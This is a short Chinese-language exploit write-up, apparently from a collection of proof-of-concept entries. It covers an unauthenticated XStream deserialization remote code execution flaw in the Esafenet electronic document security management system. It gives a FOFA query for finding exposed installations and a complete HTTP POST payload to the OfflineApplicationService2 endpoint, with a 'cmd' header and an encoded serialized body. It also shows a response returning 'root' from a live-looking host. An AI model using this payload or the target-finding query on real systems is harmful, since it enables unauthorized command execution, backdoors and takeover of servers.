

Y5-27亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述：

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web 服务器。

网站图片：



网络测绘：

fofa语法：

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现：

payload:

```
POST /CDGServer3/OfflineApplicationService2?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami
```

NNLINELBIIKEOGPIFLNMHPIPNNOHFNECLEHKBCIHIFHCMPNDPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPABKFPFELKLGCEBMBMKNKOIBMPHCIODCCEHOKPCEDHNPONLONIC

效果图:

Request	Responses
1 POST /CDGServer3/OfflineApplicationService2?command=GETSYSTEMINFO HTTP/1.1	1 HTTP/1.1 200
2 Host: [REDACTED]:8443	2 Set-Cookie: JSESSIONID=E873353B93248FA606E
3 User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36	3 Content-Type: text/html; charset=utf-8
4 Accept-Encoding: gzip, deflate, br	4 Date: Thu, 01 Feb 2024 12:01:19 GMT
5 Connection: close	5 Connection: close
6 Content-Type: text/xml	6 Content-Length: 5
7 cmd: whoami	7 root
8	8
9 NNLINELBIIKEOGPIFLNMHPIPNNOHFNECLEHKBCIHIFHCMPNDPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPABKFPFELKLGCEBMBMKNKOIBMPHCIODCCEHOKPCEDHNPONLONIC	9